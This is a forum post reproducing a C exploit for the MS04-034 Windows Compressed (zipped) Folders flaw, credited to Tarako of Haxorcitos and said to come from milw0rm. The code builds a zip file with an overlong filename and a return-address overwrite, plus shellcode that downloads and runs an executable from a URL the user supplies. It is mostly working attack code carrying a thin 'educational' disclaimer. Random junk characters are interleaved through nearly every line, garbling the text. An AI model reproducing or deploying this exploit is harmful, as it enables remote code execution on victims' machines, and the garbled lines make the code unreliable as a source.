- 在线时间
- 0 小时
- 最后登录
- 2007-9-23
- 注册时间
- 2004-9-10
- 听众数
- 3
- 收听数
- 0
- 能力
- 0 分
- 体力
- 9975 点
- 威望
- 7 点
- 阅读权限
- 150
- 积分
- 4048
- 相册
- 0
- 日志
- 0
- 记录
- 0
- 帖子
- 1893
- 主题
- 823
- 精华
- 2
- 分享
- 0
- 好友
- 0

我的地盘我做主
该用户从未签到
 |
|
/* Microsoft Windows Vulnerability in Compressed (zipped) Folders (MS04-034)+ C0 P. s2 j. C+ e9 t+ K% z! W
*
+ W4 B/ [2 E$ z3 s% B z( Z* Tested under Windows XP SP0 Spanish/English
% A4 K( n8 g9 M# X% E) t*
+ |, I) V" N9 P: i) a3 Q* Original Advisory: http://www.eeye.com/html/research/advisories/AD20041012A.html
% K A% i, X) K% H* Exploit Date: 21/10/20048 _' T- ~1 Q5 e" P' P3 o
*
5 U! @- S* q' I6 d: j! |* Z+ P) y* Tarako - Haxorcitos.com 2004
& R1 }7 p5 f' c*# C7 W6 H( X( Z q7 Z9 B
* THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* IT IS PROVIDED "AS IS"
/ b6 e# C$ r2 [( C* AND WITHOUT ANY WARRANTY. COPYING, PRINTING, DISTRIBUTION, MODIFICATION
4 M) t1 S: [* u$ j+ O0 S* WITHOUT PERMISSION OF THE AUTHOR IS STRICTLY PROHIBITED.
: { J( | f$ M; W*
1 {3 x, X- e* D! j# `* Greetings t #haxorcitos, #dsr and #localhost @efnet
8 y0 L6 [2 v+ K& U n3 \: C8 h1 J*9 q" W: F! ^( k) j+ s6 W
*
) @4 \! t M0 n: q3 S* V* How to get new offsets:. o- G7 O8 B" I
* 1) attach debugger (i.e ollydbg) to explorer.exe
" O* Z$ _4 {6 y. A2 a* 2) open the zip file as a folder and add or move some files to it3 ?) g9 ^) U- ^0 V+ E9 P2 D' L
* 3) search in the explorer.exe memory the shellcode and get the addresses
! ^' z& e$ ?: v9 U; H G*
3 A* j( y! `0 ~*/8 `% Y' D8 v8 w; |& k
) l4 G+ Z$ E/ `- t& R( |$ i& y#include <stdio.h>
8 i& z: a, C" p: R3 W#include <windows.h>
# y0 ^' F/ m& Z. m! w1 k+ ~* I6 t/ X1 b3 q$ |4 N9 i
#pragma pack(1)
- d5 D+ W6 B( z- D& U* W* e7 _# T+ x/ r$ w; g
#define DATOS "Tarako-Haxorcitos.com"2 O+ X& c- p- m* M
3 s( R% x+ t" e M T
typedef struct {
1 S& E+ \5 W" jDWORD Signature; // PK.. 4 bytes (0x04034B50)2 Z+ {5 Z1 e0 s- {$ E" K
WORD VersionNeeded;( U, `" y; U% f* G. F6 Q
WORD GeneralPurposeFlag; // para el data descriptor y demas B) J; Z/ V7 i) I+ `
WORD CompressionMethod;4 P6 @* i6 F( o% L' X
WORD ModFileTime;# l6 C# Z. U, v! F' |: l
WORD ModFileDate;
& p: |9 D0 @( wDWORD Crc32;
! F6 Y2 A$ Z0 T4 k: f9 s% LDWORD CompressedSize;: D( e+ Q# S: R+ h. ]: G" A
DWORD UncompressedSize;- o+ x: r$ }6 j* w$ h: T
WORD FilenameLength;
$ O0 O. e2 v" i6 F( i; @WORD ExtraFieldLength;
8 Q: [( M" B% D// filename (variable size); D- d0 \7 i8 D+ d
// extra field (variable size)
4 ?. O; w, C7 i/ l) Z" ~% c}TOPHEADER;
3 q4 n8 k& _# c C8 B. ]. z9 r) A, T4 _" M) [3 _
: c9 T9 R, q% f4 S. Z& L# s' C ~; ]typedef struct {
0 P2 S( o: M8 x$ b9 k) SDWORD Signature; // PK.. 4 bytes (0x02014B50)
, Y3 n' m( \ e; I: @WORD MadeVersion;8 M( N( y6 O7 z" S. i3 c# C
WORD VersionNeeded;
$ b3 T6 N" G' e) {! ]4 H1 WWORD GeneralPurposeFlag; // para el data descriptor y demas. f9 ^3 h# t: d
WORD CompressionMethod;( n9 D8 s, M0 Y) q2 [/ q
WORD ModFileTime;0 d& f9 ]( q1 D& W+ D
WORD ModFileDate;
4 y) |4 l2 h0 Y) E7 P7 d$ TDWORD Crc32;! C) O' }! B2 y
DWORD CompressedSize;$ S& H. C9 L- |9 n7 X3 Q, N
DWORD UncompressedSize;
" n1 q# m ~- S$ T( qWORD FilenameLength;
8 O3 B* s9 n- CWORD ExtraFieldLength;
! n6 }$ P4 `7 L+ G9 s# NWORD FileCommentLength;
6 |) o: M( c% G0 A* g! }WORD DiskNumberStart;
% S$ _) \6 e4 p. e0 @+ gWORD InternalFileAttributes;
1 n6 `6 A- R8 x% P2 M) c8 R# LDWORD ExternalFileAttributes;
, Y+ ~7 T" D+ Y2 c* h Q3 uDWORD RelativeOffsetOfLocalHeader;
; d) c$ j( f) \- N: A$ \// filename (variable size)
+ e* [% ~. k7 Y" W% ~( @/ Q8 X7 I// extra field (variable size)( `, _2 [2 f4 }" c
// file comment (variable size)
4 y3 V, a2 T' M& n7 o) Q+ i. S3 b}MIDDLEHEADER;
% ]9 c+ X6 t6 m* w" f: G, g4 t' |7 Q: C6 ]0 T( }8 A* g. l6 h
typedef struct {
+ S% o2 v! {( j" _3 G* ?$ O1 NDWORD Signature; // PK.. 4 bytes (0x06054B50)1 B, y+ N! e( t$ n
WORD NumOfThisDisk;& n% t e6 `" Y: s! y9 J
WORD NumDisckStartCentralDirectory;
9 W0 j9 @; Q2 VWORD NumEntriesCentralDirOnThisDisk;
2 @9 j/ k& U+ r: u' h, ]WORD TotalNumEntriesCentralDir;: ^. ^4 Q6 o |1 D$ [0 d* r/ Y* G' i
DWORD SizeCentralDirectory;+ ^* C! l; R: N% V |: ~
DWORD OffsetCentraDirRespectStartDiskNum;. ^. a# [' z3 k4 A! B' K& }0 C
WORD ZipCommentLength;) [$ W* Z. p8 x- ^( t/ M0 _0 P
// zipfile comment (variable size); ]( y( o5 F3 p
}BOTTOMHEADER;
2 H! C, G# l$ o
, L4 S1 P/ `( E4 N- G/*
' E# Q: L' T5 E. j0 b* download shellcode - RaiSe - raise@netsearch-ezine.com
. `9 h$ S, ]- X7 n4 z5 S*/4 F& U# G( u5 L+ H0 ?
char shellcode1[] =
. [) G3 r; G, \) O"\xEB\x5D\x5F\x8B\xF7\x80\x3F"
+ W5 G' N# v. ~# B"\x08\x75\x03\x80\x37\x08\x47\x80\x3F\x01\x75\xF2\x33\xC9\xB5\x05\x8B\xFE\x2B\xF9"
9 n( s: E( X* Q& }5 x"\x8B\xEF\xB5\x03\x2B\xF9\x8B\xD7\xB2\x7C\x8B\xE2\x89\x75\xFC\xB5\x40\xC1\xE1\x08"
" x6 X, p5 ~/ y' W"\x89\x4D\xF8\x8D\x49\x3C\x8B\x09\x03\x4D\xF8\x8D\x49\x7F\x41\x8B\x09\x03\x4D\xF8"
9 x( @3 f2 c( }! F"\x8B\xD9\x8B\x49\x0C\x03\x4D\xF8\x81\x39\x4B\x45\x52\x4E\x74\x07\x8D\x5B\x14\x8B"9 I5 u9 B! o4 p; M9 T% m) s3 m
"\xCB\xEB\xEB\x33\xC0\x53\xEB\x02\xEB\x7C\x8B\x33\x03\x75\xF8\x80\x7E\x03\x80\x74"7 d( P0 Q0 L- p" `3 n! ]' u$ S
"\x14\x8B\x3E\x03\x7D\xF8\x47\x47\x56\x8B\x75\xFC\x33\xC9\xB1\x0D\xF3\xA6\x5E\x74"
3 }, m9 E+ B3 l' l8 z"\x06\x40\x8D\x76\x04\xEB\xE0\x5B\x8B\x5B\x10\x03\x5D\xF8\xC1\xE0\x02\x03\xD8\x8B"
# S- v: K K- Y$ C; L"\x03\x89\x45\xF4\x8B\x5D\xFC\x8D\x5B\x0D\x53\xFF\xD0\x89\x45\xF0\x8D\x5B\x09\x53"" ?0 {0 ]- q; P) g1 m0 h0 O; p
"\x8B\x45\xF4\xFF\xD0\x89\x45\xEC\x8B\x45\xF0\x8B\x40\x3C\x03\x45\xF0\x8B\x40\x78"# a, V/ m: D6 O* i; R
"\x03\x45\xF0\x89\x45\xE8\x8B\x40\x20\x03\x45\xF0\x8D\x7B\x08\x33\xD2\x57\x8B\x30"
. [5 P1 z& I+ f"\x03\x75\xF0\x33\xC9\xB1\x0F\xF3\xA6\x74\x0B\x5F\xEB\x02\xEB\x7A\x42\x8D\x40\x04"+ y H2 x6 O+ n6 i
"\xEB\xE7\x8B\x5D\xE8\x33\xC9\x53\x5F\x8B\x7F\x24\x03\x7D\xF0\xD1\xE2\x03\xFA\x66"
1 T6 N' K# R) b& V# T) `"\x8B\x0F\x8B\x5B\x1C\x03\x5D\xF0\xC1\xE1\x02\x03\xD9\x8B\x1B\x03\x5D\xF0\x89\x5D"
6 @- j' p' P& N5 a1 ]* m, T; `"\xE4\x8B\x55\xFC\x8D\x52\x2D\x8D\x7D\xE0\x33\xC9\xB1\x06\x51\x52\x52\x8B\x75\xF0"# S+ B) z5 J3 ~
"\x56\xFC\xFF\xD3\xFD\xAB\x5A\x59\x38\x2A\x74\x03\x42\xEB\xF9\x42\xE2\xE8\xB1\x04"# O! G4 B' D1 }* n
"\x51\x52\x52\x8B\x75\xEC\x56\xFC\xFF\xD3\xFD\xAB\x5A\x59\x38\x2A\x74\x03\x42\xEB"& x C& _4 i* g' A7 d. Q
"\xF9\x42\xE2\xE8\xFC\x52\x33\xD2\xB6\x1F\xC1\xE2\x08\x52\x33\xD2\xEB\x02\xEB\x7C"9 a& a3 T ?$ P! Y e
"\x52\x8B\x45\xD8\xFF\xD0\x5B\x89\x45\xB8\x33\xD2\x52\x52\x52\x52\x53\x8B\x45\xC8"9 ^) W& Y2 u( {/ `
"\xFF\xD0\x89\x45\xB4\x8D\x7B\x08\x33\xD2\x52\xB6\x80\xC1\xE2\x10\x52\x33\xD2\x52"- ?5 `+ h% C7 ^: h
"\x52\x57\x50\x8B\x45\xC4\xFF\xD0\x89\x45\xB0\x8D\x55\xAC\x52\x33\xD2\xB6\x1F\xC1": q8 t, @; u8 s, i0 ~7 A2 V
"\xE2\x08\x52\x8B\x4D\xB8\x51\x50\x8B\x45\xC0\xFF\xD0\x8B\x4D\xB0\x51\x8B\x45\xBC"6 n+ G7 X r) B8 G
"\xFF\xD0\x8B\x4D\xB4\x51\x8B\x45\xBC\xFF\xD0\x33\xD2\x52\x43\x43\x53\x8B\x45\xE0"
* t! K5 P( {" G/ {! m+ O"\xFF\xD0\x89\x45\xA8\x8B\x7D\xAC\x57\x8B\x55\xB8\x52\x50\x8B\x45\xDC\xFF\xD0\x8B"/ g. J! o2 b- @. \9 u
"\x55\xA8\xEB\x02\xEB\x17\x52\x8B\x45\xD4\xFF\xD0\x33\xD2\x52\x53\x8B\x45\xD0\xFF"% `# s& F# ~ n6 Q
"\xD0\x33\xD2\x52\x8B\x45\xCC\xFF\xD0\xE8\x0D\xFE\xFF\xFF\x4C\x6F\x61\x64\x4C\x69"0 N" p: T; V2 G7 W( y1 B. X& t/ C
"\x62\x72\x61\x72\x79\x41\x08\x4B\x45\x52\x4E\x45\x4C\x33\x32\x08\x57\x49\x4E\x49", Q% Z( X. o m; V! d6 N9 R) a
"\x4E\x45\x54\x08\x47\x65\x74\x50\x72\x6F\x63\x41\x64\x64\x72\x65\x73\x73\x08\x5F"& v: _$ m& m& H0 F
"\x6C\x63\x72\x65\x61\x74\x08\x5F\x6C\x77\x72\x69\x74\x65\x08\x47\x6C\x6F\x62\x61"
6 K7 d/ f9 x. Z+ v$ @- B# |"\x6C\x41\x6C\x6C\x6F\x63\x08\x5F\x6C\x63\x6C\x6F\x73\x65\x08\x57\x69\x6E\x45\x78"
# D! b& g) Z4 v, y7 B8 C"\x65\x63\x08\x45\x78\x69\x74\x50\x72\x6F\x63\x65\x73\x73\x08\x49\x6E\x74\x65\x72"' \& X( n8 n! P
"\x6E\x65\x74\x4F\x70\x65\x6E\x41\x08\x49\x6E\x74\x65\x72\x6E\x65\x74\x4F\x70\x65"! W% \) Y2 E. Q: n8 m
"\x6E\x55\x72\x6C\x41\x08\x49\x6E\x74\x65\x72\x6E\x65\x74\x52\x65\x61\x64\x46\x69"! ~) @- x- Y7 U
"\x6C\x65\x08\x49\x6E\x74\x65\x72\x6E\x65\x74\x43\x6C\x6F\x73\x65\x48\x61\x6E\x64"
' k- y7 V4 ^; U9 M" O0 w p"\x6C\x65\x08\x72\x08\x78\x2E\x65\x78\x65\x08";$ `1 c* E- \6 \+ q5 f
char shellcode2[] ="\x08\x01";
' \; G' Q z- M7 q; C9 H( m6 N
4 K" l g( o; ]- s! a2 ?! E0 B* Jchar offset[]="\x41\x41\x41\x41";
( W! m4 w! x' N2 `4 E/ dchar jmpbelow[]= "\xeb\x06\x90\x90";7 p! U1 e6 [( N1 x& V& ~+ u
! _( y" N- J% Q! B4 {, }6 {% D
int main(int argc,char *argv[]) {, H4 ?% I2 E! |# p$ d
+ J/ x' V0 ]3 i6 R2 IFILE *ZipFile;6 z8 Q0 r* I+ m, q @/ m; }
TOPHEADER *Cabecera1;- {/ J) r0 v! g% K
MIDDLEHEADER *Cabecera2;' I3 a# U% o: R! T1 M5 c8 l
BOTTOMHEADER *Cabecera3;
" J9 d3 C; X( Q: W2 l8 m+ c0 h' k; e2 l- z3 K$ J
DWORD c;3 I5 E' e4 D' A$ i# m
UINT i;
% r& U! ^9 r) `$ E' Qchar *filename;
% n2 V* a/ r8 c2 w# w0 e7 B, I- Bchar *url;
& k3 k3 t+ j2 ]8 q
' o# _6 s, P/ f0 g2 Lprintf("\n MS04-034 - Vulnerability in Compressed (zipped) Folders POC");0 {. r7 K8 ]- C% R) u' X9 a. ^* ^3 C( |
printf("\n Tarako - Tarako[AT]Haxorcitos.com\n");
2 M, ^2 y9 C4 J6 ]" N+ j# K, e) ]8 a
if (argc!=2) {
9 y$ K; {& |; S2 aprintf("\n\n Usage: %s <URL> \n",argv[0]);
( Y" W& M: S! h, J( i: w v5 yexit(1);& U* Q8 B) I$ C: H" q. d4 c
}
. b8 h4 z* T- X& q) n
/ \8 R- w y! s5 u: Gurl=argv[1];
- R# |6 j0 |8 m4 X1 zprintf("\n * URL: %s",url);
6 X0 b a9 K+ O) i' H0 `/ J6 t4 y2 V! K6 Q! z
! g: l9 z; @! R0 F
if (!(ZipFile=fopen("prueba.zip","w+b"))) {
. d: a m: [) b5 N* pprintf("\n [E] fopen()");
' z; M' y1 h& `, cexit(1);
. f9 [0 ?4 r2 R! M# w5 M7 }8 W}2 _# Q5 J5 j6 g8 U
( A: w- Y8 ]+ f( ~. G7 U& Zc=0x8000; // filename length
5 T* }8 e l) n; P5 pfilename=(char*)malloc(sizeof(char)*c); M; ?/ C! w9 o& T
memset(filename,0,sizeof(filename));7 |$ Z" H3 B0 |4 W
) A8 Z: G. |* Q, w, i; j* tfor( i=0x0;i<c;i++) filename=(BYTE)0x90;
" W9 l/ `9 t9 X( W G; g$ B% b8 j- y! P9 x1 ?: K) ]
memcpy(filename+0x1814,jmpbelow,strlen(jmpbelow));
: p% D* w4 H% p( V2 H& b( Tmemcpy(filename+0x1818,offset,strlen(offset));
% k3 b" k% o1 ~0 N$ u
& R& b- ~6 V4 Wmemcpy(filename+0x7000,shellcode1,sizeof(shellcode1)-1);6 ~' k8 E/ O! D
memcpy(filename+0x7000+sizeof(shellcode1)-1,url,strlen(url));, l8 N$ N' g8 M$ B& f
memcpy(filename+0x7000+sizeof(shellcode1)+strlen(url)-1,shellcode2,sizeof(shellcode2)-1);8 `$ y9 o- f }* @( B1 ~
2 C$ J6 W- O8 T# l% W' s' _6 T
memcpy(filename+(c-4),".txt",4);
+ t8 R3 G; j8 m7 {# G. {0 G4 |1 E `4 y
Cabecera1=(TOPHEADER*)malloc(sizeof(TOPHEADER));
* ^/ K0 U+ }7 L: F8 S8 j- l7 S. _% @Cabecera2=(MIDDLEHEADER*)malloc(sizeof(MIDDLEHEADER));# \- P4 r! {4 \
Cabecera3=(BOTTOMHEADER*)malloc(sizeof(BOTTOMHEADER));
0 Y% \( s* e6 {$ t- amemset(Cabecera1,0,sizeof(TOPHEADER));
. n1 J2 @- b% N' G4 Gmemset(Cabecera2,0,sizeof(MIDDLEHEADER));) G6 A$ Q6 r/ d# [1 g
memset(Cabecera3,0,sizeof(BOTTOMHEADER)); 3 y: }/ t" y5 X5 L9 k9 \
% B0 W, C" ~8 z) |# S' d$ q8 i
///////////////////////////////////////////////////////////////////
0 R: _; B) E9 }// TOPHEADER
5 {) L% h" {( k6 X! U1 r' r///////////////////////////////////////////////////////////////////
* Y1 z+ k6 S4 d/ Q4 j- p' wCabecera1->Signature=0x04034B50; // DWORD/ J/ p4 K$ K. u+ \: P0 `/ J
Cabecera1->VersionNeeded=0x000A; // WORD
5 Q. |+ g9 ]4 c V0 a/ ~( hCabecera1->GeneralPurposeFlag=0x0002; // WORD para el data descriptor y demas! N; _& u1 m, D9 E6 l
Cabecera1->CompressionMethod=0x0000; // WORD
8 F ^+ J& @4 g7 uCabecera1->ModFileTime=0x1362; // WORD. y: N' _( Q/ e8 `7 A( K3 Q
Cabecera1->ModFileDate=0x3154; // WORD6 P( ~4 _# Y. v( E
Cabecera1->Crc32=0x85B36639; // DWORD; _, l+ g- h# A4 {1 @
Cabecera1->CompressedSize=0x00000015; // DWORD
3 w! g1 h: c# S+ [( M* ]: WCabecera1->UncompressedSize=0x00000015; // DWORD3 t1 U6 f: b/ ]+ k N
Cabecera1->FilenameLength=(WORD)c; // WORD 0x0400;//strlen(filename);0 r7 F& O' p5 j' _3 A$ X
Cabecera1->ExtraFieldLength=0x0000; // WORD5 [/ h% l" o% Z
///////////////////////////////////////////////////////////////////
$ V! c0 z, R$ V/ d8 G* E7 D* E
% P; }5 J% z) `- `( _8 W6 y G///////////////////////////////////////////////////////////////////: }! J( U# o4 D4 z
// MIDDLEHEADER% t' C6 ~0 \8 k1 u: Z Y7 @0 B' g* J
///////////////////////////////////////////////////////////////////. D3 b2 N! j( j$ o1 {
Cabecera2->Signature=0x02014B50; // DWORD
. y. w: C- f; i8 ]# rCabecera2->MadeVersion=0x0014; // WORD; \0 _; W4 b/ s: S* `9 _
Cabecera2->VersionNeeded=0x000A; // WORD
1 j) W2 \: c3 ?. ]) gCabecera2->GeneralPurposeFlag=0x0002; // WORD; E/ t1 z# n! ^/ n1 l' p* ^* d
Cabecera2->CompressionMethod=0x0000; // WORD1 |- Q$ P9 [3 i2 @) E8 o
Cabecera2->ModFileTime=0x1362; // WORD) d5 w, o6 Z* U$ E0 K! w
Cabecera2->ModFileDate=0x3154; // WORD" t0 Z2 z$ ` F- \; ]
Cabecera2->Crc32=0x85B36639; // DWORD7 \, M" e: W. |
Cabecera2->CompressedSize=0x00000015; // DWORD* g( Q) t# ? r) S
Cabecera2->UncompressedSize=0x00000015; // DWORD) `) k6 G6 k1 M: Q4 O, E
Cabecera2->FilenameLength=(WORD)c; // WORD 0x0400;//strlen(filename);
9 w+ X$ @# @) R8 ~4 M# B- ECabecera2->ExtraFieldLength=0x0000; // WORD
: X5 s1 \2 h7 s9 A" tCabecera2->FileCommentLength=0x0000; // WORD1 l* P8 G0 X7 @3 u8 c7 D" L) T. Q
Cabecera2->DiskNumberStart=0x0000; // WORD( ~0 k" u$ [& t0 r1 c; I
Cabecera2->InternalFileAttributes=0x0001; // WORD' v" j' [4 J1 S* E- k8 t( x
Cabecera2->ExternalFileAttributes=0x00000020; // DWORD
y" Z" N) `- y3 c2 ]! B( |3 nCabecera2->RelativeOffsetOfLocalHeader=0x00000000; // DWORD D5 v) C, Y' M& W) v( @
///////////////////////////////////////////////////////////////////
; K8 `1 M3 _3 G' c7 n" Q1 |( \/ _+ X# a; m
///////////////////////////////////////////////////////////////////
5 {3 ^' [* f+ F$ K& w// BOTTOMHEADER
9 U9 b7 _5 F# p) z% w* ^5 W///////////////////////////////////////////////////////////////////
/ k" R" F# t. Z( A+ R4 aCabecera3->Signature=0x06054B50; // DWORD+ n' o7 l2 V) p* p
Cabecera3->NumOfThisDisk=0x0000; // WORD; [2 n$ r9 H4 Z! b
Cabecera3->NumDisckStartCentralDirectory=0x0000; // WORD& k) g. a1 a/ y/ T3 j
Cabecera3->NumEntriesCentralDirOnThisDisk=0x0001; // WORD
8 \, V, J% X1 f1 x* z6 hCabecera3->TotalNumEntriesCentralDir=0x0001; // WORD
+ ]' b( _) m: G) n" PCabecera3->SizeCentralDirectory=sizeof(MIDDLEHEADER)+c; // DWORD
+ }3 h# t ~/ M% r2 e" F* l1 [ h( vCabecera3->OffsetCentraDirRespectStartDiskNum=sizeof(TOPHEADER)+strlen(DATOS)+c; // DWORD
. O$ G( J1 j* S @9 m! C# QCabecera3->ZipCommentLength=0x0000; // WORD
9 O4 y& w5 E0 @% J/ J6 M4 l///////////////////////////////////////////////////////////////////; B5 ?1 j4 j+ h
0 w" |4 M# I: G4 D! m# r; e* S
fwrite(Cabecera1, sizeof(TOPHEADER), 1,ZipFile);5 I1 D' U; @! x2 o8 J4 p Q1 U2 L" F! y
; U$ H9 O0 q" ?& O yfwrite(filename, c, 1,ZipFile); ; p# `8 l1 g' S+ T8 l- r
fwrite(DATOS,strlen(DATOS),1,ZipFile);5 i0 R& L: W0 V
0 J. l4 w2 ^# |5 Z# g
fwrite(Cabecera2, sizeof(MIDDLEHEADER), 1,ZipFile);
+ U. [' l; \9 v3 J; P0 d& b/ ofwrite(filename, c, 1,ZipFile); 6 q9 g( i3 T7 d
fwrite(Cabecera3, sizeof(BOTTOMHEADER), 1,ZipFile);& s+ S0 c: K( l
: m0 r) K* y5 ~& L8 j+ Gfclose(ZipFile);
- `" d) O' Y# C9 q0 P8 V- r2 bprintf("\n * prueba.zip created\n");" V2 Y: T6 s9 M; _# e# l
return 1;
" U. ^: p9 f4 _. c+ f6 b. m" @}//downloaded from milw0rm.com ( `6 n# m; O: ?9 M% N
|
zan
|